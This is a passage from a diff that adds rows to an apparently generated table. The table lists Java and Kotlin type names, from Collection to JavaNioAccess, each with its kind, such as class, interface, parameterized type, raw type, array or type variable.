+| Collection<TemporalField> | Interface, ParameterizedType |
+| Collection<TemporalUnit> | Interface, ParameterizedType |
+| Collection<Thread> | Interface, ParameterizedType |
+| Collection<V> | Interface, ParameterizedType |
+| Collection<WatchEvent<?>> | Interface, ParameterizedType |
+| Collection<X> | Interface, ParameterizedType |
+| Collection<ZoneId> | Interface, ParameterizedType |
+| Collection<ZoneOffset> | Interface, ParameterizedType |
+| Collection<ZoneOffsetTransition> | Interface, ParameterizedType |
+| Collection<ZoneOffsetTransitionRule> | Interface, ParameterizedType |
+| CollectionView | Class, GenericType, ParameterizedType |
+| CollectionView<> | Class, RawType |
+| CollectionView<K,Boolean,K> | Class, ParameterizedType |
+| CollectionView<K,V,Entry<K,V>> | Class, ParameterizedType |
+| CollectionView<K,V,K> | Class, ParameterizedType |
+| CollectionView<K,V,V> | Class, ParameterizedType |
+| Collector | GenericType, Interface, ParameterizedType |
+| Collector<> | Interface, RawType |
+| Collector<? super T,A,R> | Interface, ParameterizedType |
+| Collector<T,A,R> | Interface, ParameterizedType |
+| Collector<T,R,R> | Interface, ParameterizedType |
+| Companion | Class |
+| Comparable | GenericType, Interface, ParameterizedType |
+| Comparable<> | Interface, RawType |
+| Comparable<?> | Interface, ParameterizedType |
+| Comparable<AccessMode> | Interface, ParameterizedType |
+| Comparable<AccessType> | Interface, ParameterizedType |
+| Comparable<ArrayAccess> | Interface, ParameterizedType |
+| Comparable<BasicType> | Interface, ParameterizedType |
+| Comparable<BigInteger> | Interface, ParameterizedType |
+| Comparable<Boolean> | Interface, ParameterizedType |
+| Comparable<Byte> | Interface, ParameterizedType |
+| Comparable<ByteBuffer> | Interface, ParameterizedType |
+| Comparable<Category> | Interface, ParameterizedType |
+| Comparable<CharBuffer> | Interface, ParameterizedType |
+| Comparable<Character> | Interface, ParameterizedType |
+| Comparable<Characteristics> | Interface, ParameterizedType |
+| Comparable<Charset> | Interface, ParameterizedType |
+| Comparable<ChronoField> | Interface, ParameterizedType |
+| Comparable<ChronoLocalDate> | Interface, ParameterizedType |
+| Comparable<ChronoLocalDateTime<?>> | Interface, ParameterizedType |
+| Comparable<ChronoUnit> | Interface, ParameterizedType |
+| Comparable<ChronoZonedDateTime<?>> | Interface, ParameterizedType |
+| Comparable<Chronology> | Interface, ParameterizedType |
+| Comparable<ClassOption> | Interface, ParameterizedType |
+| Comparable<Date> | Interface, ParameterizedType |
+| Comparable<DayOfWeek> | Interface, ParameterizedType |
+| Comparable<Double> | Interface, ParameterizedType |
+| Comparable<DoubleBuffer> | Interface, ParameterizedType |
+| Comparable<Duration> | Interface, ParameterizedType |
+| Comparable<E> | Interface, ParameterizedType |
+| Comparable<Exports> | Interface, ParameterizedType |
+| Comparable<ExtendedOption> | Interface, ParameterizedType |
+| Comparable<File> | Interface, ParameterizedType |
+| Comparable<FileTime> | Interface, ParameterizedType |
+| Comparable<FilteringMode> | Interface, ParameterizedType |
+| Comparable<Float> | Interface, ParameterizedType |
+| Comparable<FloatBuffer> | Interface, ParameterizedType |
+| Comparable<FormatStyle> | Interface, ParameterizedType |
+| Comparable<Instant> | Interface, ParameterizedType |
+| Comparable<IntBuffer> | Interface, ParameterizedType |
+| Comparable<Integer> | Interface, ParameterizedType |
+| Comparable<Intrinsic> | Interface, ParameterizedType |
+| Comparable<IsoCountryCode> | Interface, ParameterizedType |
+| Comparable<IsoEra> | Interface, ParameterizedType |
+| Comparable<K> | Interface, ParameterizedType |
+| Comparable<Kind> | Interface, ParameterizedType |
+| Comparable<LinkOption> | Interface, ParameterizedType |
+| Comparable<LocalTime> | Interface, ParameterizedType |
+| Comparable<Long> | Interface, ParameterizedType |
+| Comparable<LongBuffer> | Interface, ParameterizedType |
+| Comparable<Modifier> | Interface, ParameterizedType |
+| Comparable<ModuleDescriptor> | Interface, ParameterizedType |
+| Comparable<Month> | Interface, ParameterizedType |
+| Comparable<Object> | Interface, ParameterizedType |
+| Comparable<OffsetDateTime> | Interface, ParameterizedType |
+| Comparable<OffsetTime> | Interface, ParameterizedType |
+| Comparable<Opens> | Interface, ParameterizedType |
+| Comparable<Option> | Interface, ParameterizedType |
+| Comparable<Path> | Interface, ParameterizedType |
+| Comparable<Provides> | Interface, ParameterizedType |
+| Comparable<Requires> | Interface, ParameterizedType |
+| Comparable<ResolverStyle> | Interface, ParameterizedType |
+| Comparable<RetentionPolicy> | Interface, ParameterizedType |
+| Comparable<SettingsParser> | Interface, ParameterizedType |
+| Comparable<Short> | Interface, ParameterizedType |
+| Comparable<ShortBuffer> | Interface, ParameterizedType |
+| Comparable<SignStyle> | Interface, ParameterizedType |
+| Comparable<State> | Interface, ParameterizedType |
+| Comparable<Status> | Interface, ParameterizedType |
+| Comparable<String> | Interface, ParameterizedType |
+| Comparable<StringBuffer> | Interface, ParameterizedType |
+| Comparable<StringBuilder> | Interface, ParameterizedType |
+| Comparable<T> | Interface, ParameterizedType |
+| Comparable<Tag> | Interface, ParameterizedType |
+| Comparable<TextStyle> | Interface, ParameterizedType |
+| Comparable<TimeDefinition> | Interface, ParameterizedType |
+| Comparable<TimeUnit> | Interface, ParameterizedType |
+| Comparable<Type> | Interface, ParameterizedType |
+| Comparable<U> | Interface, ParameterizedType |
+| Comparable<URI> | Interface, ParameterizedType |
+| Comparable<UnicodeScript> | Interface, ParameterizedType |
+| Comparable<V> | Interface, ParameterizedType |
+| Comparable<Version> | Interface, ParameterizedType |
+| Comparable<Wrapper> | Interface, ParameterizedType |
+| Comparable<ZoneOffset> | Interface, ParameterizedType |
+| Comparable<ZoneOffsetTransition> | Interface, ParameterizedType |
+| Comparator | GenericType, Interface, ParameterizedType |
+| Comparator<> | Interface, RawType |
+| Comparator<? super E> | Interface, ParameterizedType |
+| Comparator<? super K> | Interface, ParameterizedType |
+| Comparator<? super T> | Interface, ParameterizedType |
+| Comparator<? super U> | Interface, ParameterizedType |
+| Comparator<? super V> | Interface, ParameterizedType |
+| Comparator<ChronoLocalDate> | Interface, ParameterizedType |
+| Comparator<ChronoLocalDateTime<?>> | Interface, ParameterizedType |
+| Comparator<ChronoZonedDateTime<?>> | Interface, ParameterizedType |
+| Comparator<Entry<K,V>> | Interface, ParameterizedType |
+| Comparator<OffsetDateTime> | Interface, ParameterizedType |
+| Comparator<String> | Interface, ParameterizedType |
+| Comparator<T> | Interface, ParameterizedType |
+| Compiled | Interface |
+| CompletionHandler | GenericType, Interface, ParameterizedType |
+| CompletionHandler<> | Interface, RawType |
+| CompletionHandler<FileLock,? super A> | Interface, ParameterizedType |
+| CompletionHandler<Integer,? super A> | Interface, ParameterizedType |
+| CompositePrinterParser | Class |
+| ConcurrentHashMap | Class, GenericType, ParameterizedType |
+| ConcurrentHashMap<> | Class, RawType |
+| ConcurrentHashMap<?,?> | Class, ParameterizedType |
+| ConcurrentHashMap<K,V> | Class, ParameterizedType |
+| ConcurrentHashMap<MemberName,DirectMethodHandle> | Class, ParameterizedType |
+| ConcurrentMap | GenericType, Interface, ParameterizedType |
+| ConcurrentMap<> | Interface, RawType |
+| ConcurrentMap<? extends WeakReference<Class<?>>,?> | Interface, ParameterizedType |
+| ConcurrentMap<?,?> | Interface, ParameterizedType |
+| ConcurrentMap<K,V> | Interface, ParameterizedType |
+| ConcurrentMap<MemberName,DirectMethodHandle> | Interface, ParameterizedType |
+| ConcurrentWeakInternSet | Class, GenericType, ParameterizedType |
+| ConcurrentWeakInternSet<MethodType> | Class, ParameterizedType |
+| Condition | Interface |
+| ConditionNode | Class |
+| ConditionObject | Class |
+| Config | Class |
+| Configuration | Class |
+| Constable | Interface |
+| ConstantDesc | Interface |
+| ConstantDesc[] | Array |
+| ConstantPool | Class |
+| Constructor | Class |
+| Constructor | Class, GenericType, ParameterizedType |
+| Constructor<> | Class, RawType |
+| Constructor<>[] | Array |
+| Constructor<?> | Class, ParameterizedType |
+| Constructor<?>[] | Array |
+| Constructor<OptionalDataException> | Class, ParameterizedType |
+| Constructor<T> | Class, ParameterizedType |
+| ConstructorAccessor | Interface |
+| ConstructorRepository | Class |
+| Consumer | GenericType, Interface, ParameterizedType |
+| Consumer<> | Interface, RawType |
+| Consumer<? super Double> | Interface, ParameterizedType |
+| Consumer<? super E> | Interface, ParameterizedType |
+| Consumer<? super Entry<K,V>> | Interface, ParameterizedType |
+| Consumer<? super Integer> | Interface, ParameterizedType |
+| Consumer<? super K> | Interface, ParameterizedType |
+| Consumer<? super Long> | Interface, ParameterizedType |
+| Consumer<? super Reference<? extends T>> | Interface, ParameterizedType |
+| Consumer<? super StackFrame> | Interface, ParameterizedType |
+| Consumer<? super T> | Interface, ParameterizedType |
+| Consumer<? super U> | Interface, ParameterizedType |
+| Consumer<? super V> | Interface, ParameterizedType |
+| Consumer<Chronology> | Interface, ParameterizedType |
+| Consumer<R> | Interface, ParameterizedType |
+| Consumer<T> | Interface, ParameterizedType |
+| ContentHandler | Class |
+| ContentHandlerFactory | Interface |
+| Controller | Class |
+| CopyOption | Interface |
+| CopyOption[] | Array |
+| CountedCompleter | Class, GenericType, ParameterizedType |
+| CountedCompleter<> | Class, RawType |
+| CountedCompleter<?> | Class, ParameterizedType |
+| CountedCompleter<Double> | Class, ParameterizedType |
+| CountedCompleter<Entry<K,V>> | Class, ParameterizedType |
+| CountedCompleter<Integer> | Class, ParameterizedType |
+| CountedCompleter<K> | Class, ParameterizedType |
+| CountedCompleter<Long> | Class, ParameterizedType |
+| CountedCompleter<R> | Class, ParameterizedType |
+| CountedCompleter<U> | Class, ParameterizedType |
+| CountedCompleter<V> | Class, ParameterizedType |
+| CountedCompleter<Void> | Class, ParameterizedType |
+| CounterCell | Class |
+| CountingWrapper | Class |
+| D | TypeVariable |
+| DataInput | Interface |
+| DataOutput | Interface |
+| Date | Class |
+| DateTimeFormatter | Class |
+| DateTimeFormatterBuilder | Class |
+| DateTimeParseContext | Class |
+| DateTimePrintContext | Class |
+| DateTimePrinterParser | Interface |
+| DateTimePrinterParser[] | Array |
+| DateTimeTextProvider | Class |
+| DayOfWeek | Class |
+| DayOfWeek[] | Array |
+| DayPeriod | Class |
+| DayPeriodPrinterParser | Class |
+| Debug | Class |
+| DecimalStyle | Class |
+| DefaultCommonPoolForkJoinWorkerThreadFactory | Class |
+| DefaultForkJoinWorkerThreadFactory | Class |
+| DefaultValueParser | Class |
+| DelegatingMethodHandle | Class |
+| Dictionary | Class, GenericType, ParameterizedType |
+| Dictionary<> | Class, RawType |
+| Dictionary<?,?> | Class, ParameterizedType |
+| Dictionary<K,V> | Class, ParameterizedType |
+| Dictionary<Object,Object> | Class, ParameterizedType |
+| Dictionary<String,URLStreamHandler> | Class, ParameterizedType |
+| DirectMethodHandle | Class |
+| DirectMethodHandleDesc | Interface |
+| DirectoryStream | GenericType, Interface, ParameterizedType |
+| DirectoryStream<> | Interface, RawType |
+| DirectoryStream<Path> | Interface, ParameterizedType |
+| DomainCombiner | Interface |
+| Double | Class |
+| DoubleArray | Class |
+| DoubleBinaryOperator | Interface |
+| DoubleBuffer | Class |
+| DoubleCompanionObject | Class |
+| DoubleConsumer | Interface |
+| DoubleFunction | GenericType, Interface, ParameterizedType |
+| DoubleFunction<> | Interface, RawType |
+| DoubleFunction<? extends DoubleStream> | Interface, ParameterizedType |
+| DoubleFunction<? extends U> | Interface, ParameterizedType |
+| DoubleIterator | Class |
+| DoubleMapMultiConsumer | Interface |
+| DoublePredicate | Interface |
+| DoubleSignature | Class |
+| DoubleStream | Interface |
+| DoubleSummaryStatistics | Class |
+| DoubleSupplier | Interface |
+| DoubleToIntFunction | Interface |
+| DoubleToLongFunction | Interface |
+| DoubleUnaryOperator | Interface |
+| Duration | Class |
+| DynamicConstantDesc | Class, GenericType, ParameterizedType |
+| DynamicConstantDesc<> | Class, RawType |
+| DynamicConstantDesc<Boolean> | Class, ParameterizedType |
+| DynamicConstantDesc<Byte> | Class, ParameterizedType |
+| DynamicConstantDesc<Character> | Class, ParameterizedType |
+| DynamicConstantDesc<E> | Class, ParameterizedType |
+| DynamicConstantDesc<Short> | Class, ParameterizedType |
+| DynamicConstantDesc<T> | Class, ParameterizedType |
+| DynamicConstantDesc<VarHandle> | Class, ParameterizedType |
+| E | TypeVariable |
+| E[] | Array |
+| Empty | Class |
+| Entry | Class |
+| Entry | Class, GenericType, ParameterizedType |
+| Entry | GenericType, Interface, ParameterizedType |
+| Entry<> | Class, RawType |
+| Entry<> | Interface, RawType |
+| Entry<>[] | Array |
+| Entry<? extends K,? extends V> | Interface, ParameterizedType |
+| Entry<? extends K,? extends V>[] | Array |
+| Entry<?> | Class, ParameterizedType |
+| Entry<?>[] | Array |
+| Entry<K,V> | Class, ParameterizedType |
+| Entry<K,V> | Interface, ParameterizedType |
+| Entry<K,V>[] | Array |
+| Entry<Object,Object> | Interface, ParameterizedType |
+| Entry<String,Long> | Interface, ParameterizedType |
+| Entry<T> | Class, ParameterizedType |
+| EntryIterator | Class, GenericType, ParameterizedType |
+| EntrySetView | Class, GenericType, ParameterizedType |
+| EntrySpliterator | Class, GenericType, ParameterizedType |
+| EntrySpliterator<> | Class, RawType |
+| Enum | Class, GenericType, ParameterizedType |
+| Enum<> | Class, RawType |
+| Enum<>[] | Array |
+| Enum<?> | Class, ParameterizedType |
+| Enum<?>[] | Array |
+| Enum<AccessMode> | Class, ParameterizedType |
+| Enum<AccessType> | Class, ParameterizedType |
+| Enum<ArrayAccess> | Class, ParameterizedType |
+| Enum<BasicType> | Class, ParameterizedType |
+| Enum<Category> | Class, ParameterizedType |
+| Enum<Characteristics> | Class, ParameterizedType |
+| Enum<ChronoField> | Class, ParameterizedType |
+| Enum<ChronoUnit> | Class, ParameterizedType |
+| Enum<ClassOption> | Class, ParameterizedType |
+| Enum<DayOfWeek> | Class, ParameterizedType |
+| Enum<E> | Class, ParameterizedType |
+| Enum<ExtendedOption> | Class, ParameterizedType |
+| Enum<FilteringMode> | Class, ParameterizedType |
+| Enum<FormatStyle> | Class, ParameterizedType |
+| Enum<Intrinsic> | Class, ParameterizedType |
+| Enum<IsoCountryCode> | Class, ParameterizedType |
+| Enum<IsoEra> | Class, ParameterizedType |
+| Enum<Kind> | Class, ParameterizedType |
+| Enum<LinkOption> | Class, ParameterizedType |
+| Enum<Modifier> | Class, ParameterizedType |
+| Enum<Month> | Class, ParameterizedType |
+| Enum<Option> | Class, ParameterizedType |
+| Enum<ResolverStyle> | Class, ParameterizedType |
+| Enum<RetentionPolicy> | Class, ParameterizedType |
+| Enum<SettingsParser> | Class, ParameterizedType |
+| Enum<SignStyle> | Class, ParameterizedType |
+| Enum<State> | Class, ParameterizedType |
+| Enum<Status> | Class, ParameterizedType |
+| Enum<T> | Class, ParameterizedType |
+| Enum<Tag> | Class, ParameterizedType |
+| Enum<TextStyle> | Class, ParameterizedType |
+| Enum<TimeDefinition> | Class, ParameterizedType |
+| Enum<TimeUnit> | Class, ParameterizedType |
+| Enum<Type> | Class, ParameterizedType |
+| Enum<UnicodeScript> | Class, ParameterizedType |
+| Enum<Wrapper> | Class, ParameterizedType |
+| EnumCompanionObject | Class |
+| EnumDesc | Class, GenericType, ParameterizedType |
+| EnumDesc<> | Class, RawType |
+| EnumDesc<E> | Class, ParameterizedType |
+| EnumSet | Class, GenericType, ParameterizedType |
+| EnumSet<> | Class, RawType |
+| EnumSet<E> | Class, ParameterizedType |
+| EnumSet<Option> | Class, ParameterizedType |
+| Enumeration | GenericType, Interface, ParameterizedType |
+| Enumeration<> | Interface, RawType |
+| Enumeration<?> | Interface, ParameterizedType |
+| Enumeration<InetAddress> | Interface, ParameterizedType |
+| Enumeration<K> | Interface, ParameterizedType |
+| Enumeration<NetworkInterface> | Interface, ParameterizedType |
+| Enumeration<Object> | Interface, ParameterizedType |
+| Enumeration<Permission> | Interface, ParameterizedType |
+| Enumeration<URL> | Interface, ParameterizedType |
+| Enumeration<V> | Interface, ParameterizedType |
+| Era | Interface |
+| Error | Class |
+| Exception | Class |
+| ExclusiveNode | Class |
+| Executable | Class |
+| Executor | Interface |
+| ExecutorService | Interface |
+| Exports | Class |
+| ExtendedOption | Class |
+| ExtendedOption[] | Array |
+| Extension | Class |
+| F | TypeVariable |
+| F[] | Array |
+| Factory | Class |
+| Factory<> | Class |
+| Factory<> | Class, RawType |
+| FairSync | Class |
+| FakeKotlinClass | Class |
+| Field | Class |
+| FieldAccessor | Interface |
+| FieldDelegate | Interface |
+| FieldPosition | Class |
+| FieldTypeSignature | Interface |
+| FieldTypeSignature[] | Array |
+| Field[] | Array |
+| File | Class |
+| FileAttribute | GenericType, Interface, ParameterizedType |
+| FileAttribute<?> | Interface, ParameterizedType |
+| FileAttribute<?>[] | Array |
+| FileAttributeView | Interface |
+| FileChannel | Class |
+| FileDescriptor | Class |
+| FileFilter | Interface |
+| FileLock | Class |
+| FileNameMap | Interface |
+| FileStore | Class |
+| FileStoreAttributeView | Interface |
+| FileSystem | Class |
+| FileSystemProvider | Class |
+| FileTime | Class |
+| File[] | Array |
+| FilenameFilter | Interface |
+| Filter | GenericType, Interface, ParameterizedType |
+| Filter<? super Path> | Interface, ParameterizedType |
+| FilterInfo | Interface |
+| FilterOutputStream | Class |
+| FilterValues | Class |
+| FilteringMode | Class |
+| FilteringMode[] | Array |
+| FixedClock | Class |
+| Float | Class |
+| FloatArray | Class |
+| FloatBuffer | Class |
+| FloatCompanionObject | Class |
+| FloatIterator | Class |
+| FloatSignature | Class |
+| Flushable | Interface |
+| Foo | Class |
+| ForEachEntryTask | Class, GenericType, ParameterizedType |
+| ForEachKeyTask | Class, GenericType, ParameterizedType |
+| ForEachMappingTask | Class, GenericType, ParameterizedType |
+| ForEachTransformedEntryTask | Class, GenericType, ParameterizedType |
+| ForEachTransformedKeyTask | Class, GenericType, ParameterizedType |
+| ForEachTransformedMappingTask | Class, GenericType, ParameterizedType |
+| ForEachTransformedValueTask | Class, GenericType, ParameterizedType |
+| ForEachValueTask | Class, GenericType, ParameterizedType |
+| ForkJoinPool | Class |
+| ForkJoinTask | Class, GenericType, ParameterizedType |
+| ForkJoinTask<> | Class, RawType |
+| ForkJoinTask<?> | Class, ParameterizedType |
+| ForkJoinTask<?>[] | Array |
+| ForkJoinTask<Double> | Class, ParameterizedType |
+| ForkJoinTask<E> | Class, ParameterizedType |
+| ForkJoinTask<Entry<K,V>> | Class, ParameterizedType |
+| ForkJoinTask<Integer> | Class, ParameterizedType |
+| ForkJoinTask<K> | Class, ParameterizedType |
+| ForkJoinTask<Long> | Class, ParameterizedType |
+| ForkJoinTask<R> | Class, ParameterizedType |
+| ForkJoinTask<T> | Class, ParameterizedType |
+| ForkJoinTask<U> | Class, ParameterizedType |
+| ForkJoinTask<V> | Class, ParameterizedType |
+| ForkJoinTask<Void> | Class, ParameterizedType |
+| ForkJoinWorkerThread | Class |
+| ForkJoinWorkerThreadFactory | Interface |
+| FormalTypeParameter | Class |
+| FormalTypeParameter[] | Array |
+| Format | Class |
+| FormatStyle | Class |
+| FormatStyle[] | Array |
+| ForwardingNode | Class, GenericType, ParameterizedType |
+| FractionPrinterParser | Class |
+| Function | GenericType, Interface, ParameterizedType |
+| Function1 | GenericType, Interface, ParameterizedType |
+| Function1<Integer,Boolean> | Interface, ParameterizedType |
+| Function1<Integer,Byte> | Interface, ParameterizedType |
+| Function1<Integer,Character> | Interface, ParameterizedType |
+| Function1<Integer,Double> | Interface, ParameterizedType |
+| Function1<Integer,Float> | Interface, ParameterizedType |
+| Function1<Integer,Integer> | Interface, ParameterizedType |
+| Function1<Integer,Long> | Interface, ParameterizedType |
+| Function1<Integer,Short> | Interface, ParameterizedType |
+| Function1<Integer,T> | Interface, ParameterizedType |
+| Function<> | Interface, RawType |
+| Function<? super K,? extends U> | Interface, ParameterizedType |
+| Function<? super K,? extends V> | Interface, ParameterizedType |
+| Function<? super Object,? extends Object> | Interface, ParameterizedType |
+| Function<? super Object,?> | Interface, ParameterizedType |
+| Function<? super R,? extends V> | Interface, ParameterizedType |
+| Function<? super Stream<StackFrame>,? extends T> | Interface, ParameterizedType |
+| Function<? super String,? extends R> | Interface, ParameterizedType |
+| Function<? super T,? extends DoubleStream> | Interface, ParameterizedType |
+| Function<? super T,? extends IntStream> | Interface, ParameterizedType |
+| Function<? super T,? extends LongStream> | Interface, ParameterizedType |
+| Function<? super T,? extends Optional<? extends U>> | Interface, ParameterizedType |
+| Function<? super T,? extends R> | Interface, ParameterizedType |
+| Function<? super T,? extends Stream<? extends R>> | Interface, ParameterizedType |
+| Function<? super T,? extends U> | Interface, ParameterizedType |
+| Function<? super V,? extends T> | Interface, ParameterizedType |
+| Function<? super V,? extends U> | Interface, ParameterizedType |
+| Function<A,R> | Interface, ParameterizedType |
+| Function<Boolean> | Interface, ParameterizedType |
+| Function<Byte> | Interface, ParameterizedType |
+| Function<Character> | Interface, ParameterizedType |
+| Function<Cleaner,CleanerImpl> | Interface, ParameterizedType |
+| Function<Double> | Interface, ParameterizedType |
+| Function<E,E> | Interface, ParameterizedType |
+| Function<Entry<K,V>,? extends U> | Interface, ParameterizedType |
+| Function<Float> | Interface, ParameterizedType |
+| Function<Integer> | Interface, ParameterizedType |
+| Function<LambdaForm,LambdaForm> | Interface, ParameterizedType |
+| Function<Long> | Interface, ParameterizedType |
+| Function<R> | Interface, ParameterizedType |
+| Function<Short> | Interface, ParameterizedType |
+| Function<String,ClassLoader> | Interface, ParameterizedType |
+| Function<T,T> | Interface, ParameterizedType |
+| Function<T,V> | Interface, ParameterizedType |
+| Function<T> | Interface, ParameterizedType |
+| Function<V,Long> | Interface, ParameterizedType |
+| Function<V,R> | Interface, ParameterizedType |
+| Function<V,V> | Interface, ParameterizedType |
+| Function<VM,VM> | Interface, ParameterizedType |
+| Future | GenericType, Interface, ParameterizedType |
+| Future<> | Interface, RawType |
+| Future<?> | Interface, ParameterizedType |
+| Future<Double> | Interface, ParameterizedType |
+| Future<E> | Interface, ParameterizedType |
+| Future<Entry<K,V>> | Interface, ParameterizedType |
+| Future<FileLock> | Interface, ParameterizedType |
+| Future<Integer> | Interface, ParameterizedType |
+| Future<K> | Interface, ParameterizedType |
+| Future<Long> | Interface, ParameterizedType |
+| Future<R> | Interface, ParameterizedType |
+| Future<T> | Interface, ParameterizedType |
+| Future<U> | Interface, ParameterizedType |
+| Future<V> | Interface, ParameterizedType |
+| Future<Void> | Interface, ParameterizedType |
+| GatheringByteChannel | Interface |
+| GenericDeclRepository | Class, GenericType, ParameterizedType |
+| GenericDeclRepository<MethodTypeSignature> | Class, ParameterizedType |
+| GenericDeclaration | Interface |
+| GenericsFactory | Interface |
+| GetField | Class |
+| GetReflectionFactoryAction | Class |
+| Global | Class |
+| GroupPrincipal | Interface |
+| Guard | Interface |
+| Handle | Interface |
+| Hashtable | Class, GenericType, ParameterizedType |
+| Hashtable<> | Class, RawType |
+| Hashtable<?,?> | Class, ParameterizedType |
+| Hashtable<Object,Object> | Class, ParameterizedType |
+| Hashtable<String,URLStreamHandler> | Class, ParameterizedType |
+| IOException | Class |
+| Identity | Class |
+| IllegalAccessException | Class |
+| IllegalArgumentException | Class |
+| IndexOperation | GenericType, Interface, ParameterizedType |
+| IndexOperation<> | Interface, RawType |
+| IndexOperation<V,E,S> | Interface, ParameterizedType |
+| IndexOutOfBoundsException | Class |
+| InetAddress | Class |
+| InetAddressHolder | Class |
+| InetAddressImpl | Interface |
+| InetAddress[] | Array |
+| InnocuousForkJoinWorkerThread | Class |
+| InnocuousThreadFactory | Class |
+| InputStream | Class |
+| Instant | Class |
+| InstantPrinterParser | Class |
+| InstantSource | Interface |
+| Int | Class |
+| IntArray | Class |
+| IntBinaryOperator | Interface |
+| IntBuffer | Class |
+| IntCompanionObject | Class |
+| IntConsumer | Interface |
+| IntFunction | GenericType, Interface, ParameterizedType |
+| IntFunction<> | Interface, RawType |
+| IntFunction<? extends IntStream> | Interface, ParameterizedType |
+| IntFunction<? extends U> | Interface, ParameterizedType |
+| IntFunction<A[]> | Interface, ParameterizedType |
+| IntFunction<T[]> | Interface, ParameterizedType |
+| IntIterator | Class |
+| IntMapMultiConsumer | Interface |
+| IntPredicate | Interface |
+| IntProgression | Class |
+| IntRange | Class |
+| IntSignature | Class |
+| IntStream | Interface |
+| IntSummaryStatistics | Class |
+| IntSupplier | Interface |
+| IntToDoubleFunction | Interface |
+| IntToLongFunction | Interface |
+| IntUnaryOperator | Interface |
+| Integer | Class |
+| Interface | Class |
+| InterfaceAddress | Class |
+| InternalError | Class |
+| InternalLocaleBuilder | Class |
+| Interruptible | Interface |
+| InterruptibleChannel | Interface |
+| Intrinsic | Class |
+| IntrinsicMethodHandle | Class |
+| Intrinsic[] | Array |
+| InvokeAnyRoot | Class, GenericType, ParameterizedType |
+| InvokeAnyRoot<E> | Class, ParameterizedType |
+| InvokeAnyTask | Class, GenericType, ParameterizedType |
+| Invokers | Class |
+| IsoChronology | Class |
+| IsoCountryCode | Class |
+| IsoCountryCode[] | Array |
+| IsoEra | Class |
+| IsoEra[] | Array |
+| Iterable | GenericType, Interface, ParameterizedType |
+| Iterable<> | Interface, RawType |
+| Iterable<? extends Attribute> | Interface, ParameterizedType |
+| Iterable<? extends Callable<T>> | Interface, ParameterizedType |
+| Iterable<? extends Certificate> | Interface, ParameterizedType |
+| Iterable<? extends E> | Interface, ParameterizedType |
+| Iterable<? extends OpenOption> | Interface, ParameterizedType |
+| Iterable<? extends Principal> | Interface, ParameterizedType |
+| Iterable<? super ForkJoinTask<?>> | Interface, ParameterizedType |
+| Iterable<?> | Interface, ParameterizedType |
+| Iterable<Attribute> | Interface, ParameterizedType |
+| Iterable<BufferPool> | Interface, ParameterizedType |
+| Iterable<CaseInsensitiveString> | Interface, ParameterizedType |
+| Iterable<CharSequence> | Interface, ParameterizedType |
+| Iterable<Character> | Interface, ParameterizedType |
+| Iterable<Characteristics> | Interface, ParameterizedType |
+| Iterable<Chronology> | Interface, ParameterizedType |
+| Iterable<Class<?>> | Interface, ParameterizedType |
+| Iterable<ClassDesc> | Interface, ParameterizedType |
+| Iterable<ClassOption> | Interface, ParameterizedType |
+| Iterable<Configuration> | Interface, ParameterizedType |
+| Iterable<ConstantDesc> | Interface, ParameterizedType |
+| Iterable<DateTimePrinterParser> | Interface, ParameterizedType |
+| Iterable<E> | Interface, ParameterizedType |
+| Iterable<Entry<K,V>> | Interface, ParameterizedType |
+| Iterable<Entry<Object,Object>> | Interface, ParameterizedType |
+| Iterable<Era> | Interface, ParameterizedType |
+| Iterable<Exports> | Interface, ParameterizedType |
+| Iterable<F> | Interface, ParameterizedType |
+| Iterable<FileStore> | Interface, ParameterizedType |
+| Iterable<FileSystemProvider> | Interface, ParameterizedType |
+| Iterable<Future<T>> | Interface, ParameterizedType |
+| Iterable<Integer> | Interface, ParameterizedType |
+| Iterable<InterfaceAddress> | Interface, ParameterizedType |
+| Iterable<K> | Interface, ParameterizedType |
+| Iterable<LanguageRange> | Interface, ParameterizedType |
+| Iterable<Locale> | Interface, ParameterizedType |
+| Iterable<Long> | Interface, ParameterizedType |
+| Iterable<MemberName> | Interface, ParameterizedType |
+| Iterable<Method> | Interface, ParameterizedType |
+| Iterable<MethodHandle> | Interface, ParameterizedType |
+| Iterable<Modifier> | Interface, ParameterizedType |
+| Iterable<Module> | Interface, ParameterizedType |
+| Iterable<ModuleDescriptor> | Interface, ParameterizedType |
+| Iterable<ModuleLayer> | Interface, ParameterizedType |
+| Iterable<ModuleReference> | Interface, ParameterizedType |
+| Iterable<NamedFunction> | Interface, ParameterizedType |
+| Iterable<Number> | Interface, ParameterizedType |
+| Iterable<Object> | Interface, ParameterizedType |
+| Iterable<Opens> | Interface, ParameterizedType |
+| Iterable<Option> | Interface, ParameterizedType |
+| Iterable<Path> | Interface, ParameterizedType |
+| Iterable<Principal> | Interface, ParameterizedType |
+| Iterable<Provides> | Interface, ParameterizedType |
+| Iterable<Requires> | Interface, ParameterizedType |
+| Iterable<ResolvedModule> | Interface, ParameterizedType |
+| Iterable<Runnable> | Interface, ParameterizedType |
+| Iterable<Service> | Interface, ParameterizedType |
+| Iterable<ServiceProvider> | Interface, ParameterizedType |
+| Iterable<SimpleClassTypeSignature> | Interface, ParameterizedType |
+| Iterable<String> | Interface, ParameterizedType |
+| Iterable<T> | Interface, ParameterizedType |
+| Iterable<TemporalField> | Interface, ParameterizedType |
+| Iterable<TemporalUnit> | Interface, ParameterizedType |
+| Iterable<Thread> | Interface, ParameterizedType |
+| Iterable<V> | Interface, ParameterizedType |
+| Iterable<WatchEvent<?>> | Interface, ParameterizedType |
+| Iterable<X> | Interface, ParameterizedType |
+| Iterable<ZoneId> | Interface, ParameterizedType |
+| Iterable<ZoneOffset> | Interface, ParameterizedType |
+| Iterable<ZoneOffsetTransition> | Interface, ParameterizedType |
+| Iterable<ZoneOffsetTransitionRule> | Interface, ParameterizedType |
+| Iterator | GenericType, Interface, ParameterizedType |
+| Iterator<> | Interface, RawType |
+| Iterator<?> | Interface, ParameterizedType |
+| Iterator<Boolean> | Interface, ParameterizedType |
+| Iterator<Byte> | Interface, ParameterizedType |
+| Iterator<Character> | Interface, ParameterizedType |
+| Iterator<Double> | Interface, ParameterizedType |
+| Iterator<E> | Interface, ParameterizedType |
+| Iterator<Entry<K,V>> | Interface, ParameterizedType |
+| Iterator<Entry<String,Long>> | Interface, ParameterizedType |
+| Iterator<Float> | Interface, ParameterizedType |
+| Iterator<Integer> | Interface, ParameterizedType |
+| Iterator<K> | Interface, ParameterizedType |
+| Iterator<Long> | Interface, ParameterizedType |
+| Iterator<Path> | Interface, ParameterizedType |
+| Iterator<Short> | Interface, ParameterizedType |
+| Iterator<String> | Interface, ParameterizedType |
+| Iterator<T> | Interface, ParameterizedType |
+| Iterator<V> | Interface, ParameterizedType |
+| JavaNioAccess | Interface |
